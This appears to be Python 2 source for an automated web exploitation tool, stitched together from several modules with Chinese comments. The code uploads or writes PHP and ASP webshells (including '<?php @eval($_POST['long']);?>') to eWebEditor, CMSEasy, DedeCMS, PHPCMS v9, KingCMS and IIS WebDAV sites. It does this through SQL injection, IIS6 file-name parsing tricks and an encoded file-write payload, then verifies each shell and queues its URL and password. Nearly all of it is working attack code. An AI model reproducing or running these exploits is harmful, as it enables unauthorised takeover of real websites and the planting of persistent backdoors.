def ewebeditor_asp(self, arg): #
try:
url = arg + "/jms/edit/Upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a"
files = {'uploadfile': open("long.asp.cer", "rb")}
r = requests.post(url, files=files)
data = r.text
#print data
p = re.compile(r"parent.UploadSaved\('(.*?)'\)")
sarr = p.findall(data) #找出一条
name = sarr[0]
#print name
url = "%s/jms/edit/uploadfile/%s" % (arg, name)
if yijuhua_CS.yijuhua_cs("asp", url,
"long"): #ASP还是PHP ,URL地址 ，密码
#print url+"OK"
EXP_list = [
1, self.url, "exp", "exp_ewebeditor_Upload_asp", url,
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
Class_Queue.exp_url.put(EXP_list, 0.5) #插入队列
else:
#print url+"NO"
EXP_list = [
0, self.url, "exp", "exp_ewebeditor_Upload_asp", url,
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
Class_Queue.exp_url.put(EXP_list, 0.5) #插入队列
except Exception, e:
#print e
return 0
def scan(self, arg):
try:
opener = urllib2.build_opener(UPLOAD.MultipartPostHandler)
params = {"fileToUpload": open("long.php;.jpg", "rb")}
url = arg + '/celive/live/doajaxfileupload.php'
req = opener.open(url, params)
html = req.read()
murl = re.compile("<a href='(.*?)'")
ok = murl.findall(html)
print ok
if ok and '.php;.jpg' in ok[0]:
if yijuhua_cs("php", ok[0], "long"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list = [
1, self.url, "exp", "CN_exp_etcms_Upload_shell", ok[0],
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
print EXP_list
url_exp.put(EXP_list, 0.5) #插入队列
else:
#否
EXP_list = [
0, self.url, "exp", "CN_exp_etcms_Upload_shell", ok[0],
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
print EXP_list
url_exp.put(EXP_list, 0.5) #插入队列
# print "exp_kingcms_getshell---%s---%s"%(ok[0],"webshell--pass:long")
except Exception, e:
print e
pass
def find(self, arg):
site = '/plus/dst.php'
heareds = {
"User-Agent":
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
}
conn = httplib.HTTPConnection(arg)
try:
conn.request('GET', site, None, heareds)
httpres = conn.getresponse()
if httpres.status == 200:
data = 'http://%s/plus/dst.php' % arg
if yijuhua_CS.yijuhua_cs("php", data,
"cmd"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list = [
1, self.url, "exp", "exp_dedecms_yijuhua", data, "cmd",
"webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
Class_Queue.exp_url.put(EXP_list, 0.5) #插入队列
else:
#否
EXP_list = [
0, self.url, "exp", "exp_dedecms_yijuhua", data, "cmd",
"webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
Class_Queue.exp_url.put(EXP_list, 0.5) #插入队列
# print "exp_dedecms_yijuhua---%s---%s"%(data,"webshell--pass:cmd")
except Exception, e:
#print e
return False
def getshell(self,arg):
try:
headers = {'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}
#data = "test<?php @eval($_POST[\''.'shaoxiao'.'\']);?>'"
data="<?php @eval($_POST['long']);?>"
url = arg.split('//')[1]
site = '/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file='+self.url1+'/uploadfile/1222.thumb_.Php.JPG%20%20%20%20%20%20%20Php'
conn = httplib.HTTPConnection(url)
conn.request('POST',site,data,headers)
httpres = conn.getresponse()
html = httpres.read()
#print html
if httpres.status == 200 and html:
gets = re.compile('http://(.*?)\.Php\.JPG\s')
get = gets.findall(html)
if get:
data='http://'+get[0]+'.Php.JPG%20%20%20%20%20%20%20Php' #Pass:long
if yijuhua_cs("php",data,"long"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list=[1,self.url0,self.url1,"CN_exp_phpcmsv9_getshell",data,"long","webshell"]
#["01可信度","主网址","从网址","漏洞类型","漏洞地址","密码","备注"] 7个
#print EXP_list
url_exp.put(EXP_list,0.5) #插入队列
else:
#否
EXP_list=[0,self.url0,self.url1,"CN_exp_phpcmsv9_getshell",data,"long","webshell"]
#["01可信度","主网址","从网址","漏洞类型","漏洞地址","密码","备注"] 7个
#print EXP_list
url_exp.put(EXP_list,0.5) #插入队列
#print "exp_phpcmsv9_getshell---%s---%s"%(data,"webshell--pass:long")
return 1
except Exception,e:
#print e
return 0
def scan(self, arg):
url = arg+'/search.php?query=shaoxiao%27%3B%3F%3E%3C%3F%66%70%75%74%73%28%66%6F%70%65%6E%28%27%53' \
'%74%79%6C%65%2E%70%68%70%27%2C%27%77%27%29%2C%62%61%73%65%36%34%5F%64%65%63%6F%64%65%28%' \
'27%4D%54%45%78%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6F%4A%46%39%51%54%31%4E%55%57' \
'%79%64%6A%62%57%51%6E%58%53%6B%37%50%7A%34%79%4D%6A%49%3D%27%29%29%3B%3F%3E%26%6D%6F%64%65%' \
'6C%69%64%3D%31%20%6F%72%20%32%3D%32'
#UrlDecode解码
shellurl = arg + '/Style.php'
try:
html = urllib2.urlopen(url).read()
#print html
if 'shaoxiao' in html:
shellhtml = urllib2.urlopen(shellurl).read()
if '111222' in shellhtml:
if yijuhua_cs("php", shellurl,
"cmd"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list = [
1, self.url, "exp", "CN_exp_kingcms_getshell",
shellurl, "cmd", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
url_exp.put(EXP_list, 0.5) #插入队列
else:
#否
EXP_list = [
0, self.url, "exp", "CN_exp_kingcms_getshell",
shellurl, "cmd", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
url_exp.put(EXP_list, 0.5) #插入队列
#print "exp_kingcms_getshell---%s---%s"%(shellurl,"webshell--pass:cmd")
except Exception, e:
#print e
return 0
def three(self,arg,path):
try:
site = path+'/plus/long.php'
testsite = path+'/plus/shaoxhaoxhaoxhaoshaoxhaoxhaoxhaoshaoxhaoxhaoxhaoshaoxhaoxhaoxhao.php'
httpres = self.request(arg,site)
code = None
testcode = None
testhttpres = self.request(arg,testsite)
if testhttpres:
testcode = testhttpres.status #返回值
if httpres:
code = httpres.status #返回值
if code != testcode: #不相等为有效
#print u' \nGood,write OK ! Shell :%s%s pass:long' % (arg,site)
if yijuhua_cs("php",arg+site,"long"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list=[1,self.url0,self.url1,"CN_exp_dedecms_getshell",arg.strip()+site,"long","webshell"]
#["01可信度","主网址","从网址","漏洞类型","漏洞地址","密码","备注"] 7个
#print EXP_list
url_exp.put(EXP_list,0.5) #插入队列
else:
#否
EXP_list=[0,self.url0,self.url1,"CN_exp_dedecms_getshell",arg.strip()+site,"long","webshell"]
#["01可信度","主网址","从网址","漏洞类型","漏洞地址","密码","备注"] 7个
#print EXP_list
url_exp.put(EXP_list,0.5) #插入队列
# print "exp_dedecms_getshell---%s---%s"%(arg.strip()+site,"webshell--pass:guige")
else:
#print u' \n亲,你点真背,不存在漏洞!'
return 0
return 0
except Exception,e:
#print e
return 0
def IIS_webdav(self, url, port=80): #iis 写入漏洞 IIS webdav
try:
self.txt = '/test.txt'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_ip = socket.gethostbyname(url)
s.connect((remote_ip, port))
message = "OPTIONS / HTTP/1.1\r\nHost: %s\r\n\r\n" % url
s.sendall(message)
reply = s.recv(1024)
if 'DAV' in reply:
#print 'Webdav Is Vulnerable! Try To Hacking....'
if self.put(url, self.txt):
data = "http://%s/%s" % (url, self.txt)
#print "exp_IISwebdav_put---%s---%s"%(data,"webshell--pass:long")
EXP_list = [
1, url, "exp", "exp_IISwebdav_put", data, "", ""
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
url_exp.put(EXP_list, 0.5) #插入队列
MOVE_asp = self.sjzf() #随机文件名
MOVE_asp += ".asp;jpg"
moveheaders = {
'User-Agent':
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Destination': 'http://%s/%s' % (url.strip(), MOVE_asp)
}
if self.move(url, self.txt, moveheaders):
data = "http://%s/%s" % (url.strip(), MOVE_asp)
if yijuhua_cs("asp", data,
"long"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list = [
1, url, "exp", "exp_IISwebdav_move", data,
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
#print EXP_list
url_exp.put(EXP_list, 0.5) #插入队列
else:
#否
EXP_list = [
0, url, "exp", "UAS_exp_IISwebdav_move", data,
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
#print EXP_list
url_exp.put(EXP_list, 0.5) #插入队列
# print "exp_IISwebdav_move---%s---%s"%(data,"webshell--pass:long")
#else:
# print 'Webdav Is No Vulnerable!'
return 0
except Exception, e:
#print e
return 0
def scan(self, arg):
try:
url0, url1 = arg
#http://www.skyscom.com/celive/live/doajaxfileupload.php
data = "%s/celive/live/doajaxfileupload.php" % (url1)
if 'jpg' in self.URL_DZ(data): #检查是否支持JPG
EXP_list = [
1, url0, url1, "CN_exp_cmseasy_IIS6_jx_JPG", data, "", ""
]
#["01可信度","主网址","从网址","漏洞类型","漏洞地址","密码","备注"] 7个
url_exp.put(EXP_list, 0.5) #插入队列
#上传文件
#data="<?php @eval($_POST['long']);?>" #一句话
files = {'fileToUpload': open('long.php;.jpg', 'rb')}
r = requests.post(data, files=files)
data = r.text
name = []
try:
p = re.compile(r'target=.+?>(.*?)</a>'
) #结果 [u'CELIVE-Q7duV0tNj8.php;.jpg']
sarr = p.findall(data) #找出一条
name = sarr[0]
except:
#print "!"
return 0
#print name
data = "%s/celive/uploadfiles/%s" % (url1, name)
if self.http_get(
url1.split('//')[1],
"/celive/uploadfiles/" + name): #验证地址是否存在
if yijuhua_cs("php", data, "long"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list = [
1, url0, url1, "CN_exp_cmseasy_IIS6_jx", data,
"long", "webshell"
]
#["01可信度","主网址","从网址","漏洞类型","漏洞地址","密码","备注"] 7个
#print EXP_list
url_exp.put(EXP_list, 0.5) #插入队列
else:
#否
EXP_list = [
0, url0, url1, "CN_exp_cmseasy_IIS6_jx", data,
"long", "webshell"
]
#["01可信度","主网址","从网址","漏洞类型","漏洞地址","密码","备注"] 7个
#print EXP_list
url_exp.put(EXP_list, 0.5) #插入队列
except Exception, e:
#print e
return 0
def cmseasy_IIS6_jx(self, url): #cmseasy文件上传+IIS6解释漏洞
try:
#http://www.skyscom.com/celive/live/doajaxfileupload.php
data = "%s/celive/live/doajaxfileupload.php" % (url)
if 'jpg' in self.URL_DZ(data): #检查是否支持JPG
#print "-cms-cmseasy_IIS6_jx-open jpg %s"%(data)
EXP_list = [0, url, "exp", "exp_cmseasy_IIS6_jx", data, "", ""]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
url_exp.put(EXP_list, 0.5) #插入队列
#上传文件
#data="<?php @eval($_POST['long']);?>" #一句话
files = {'fileToUpload': open('long.php;.jpg', 'rb')}
r = requests.post(data, files=files)
data = r.text
name = []
try:
p = re.compile(r'target=.+?>(.*?)</a>'
) #结果 [u'CELIVE-Q7duV0tNj8.php;.jpg']
sarr = p.findall(data) #找出一条
name = sarr[0]
except:
#print "!"
return 0
#print name
data = "%s/celive/uploadfiles/%s" % (url, name)
if self.http_get(url[7:],
"/celive/uploadfiles/" + name): #验证地址是否存在
if yijuhua_cs("php", data, "long"): #ASP还是PHP ,URL地址 ，密码
#是
EXP_list = [
1, url, "exp", "CN_exp_cmseasy_IIS6_jx", data,
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
url_exp.put(EXP_list, 0.5) #插入队列
else:
#否
EXP_list = [
0, url, "exp", "CN_exp_cmseasy_IIS6_jx", data,
"long", "webshell"
]
#["一句话 是否成功0否 1是","网址","严重程度","漏洞类型","漏洞地址","密码","备注"]7个
url_exp.put(EXP_list, 0.5) #插入队列
except Exception, e:
#print e
return 0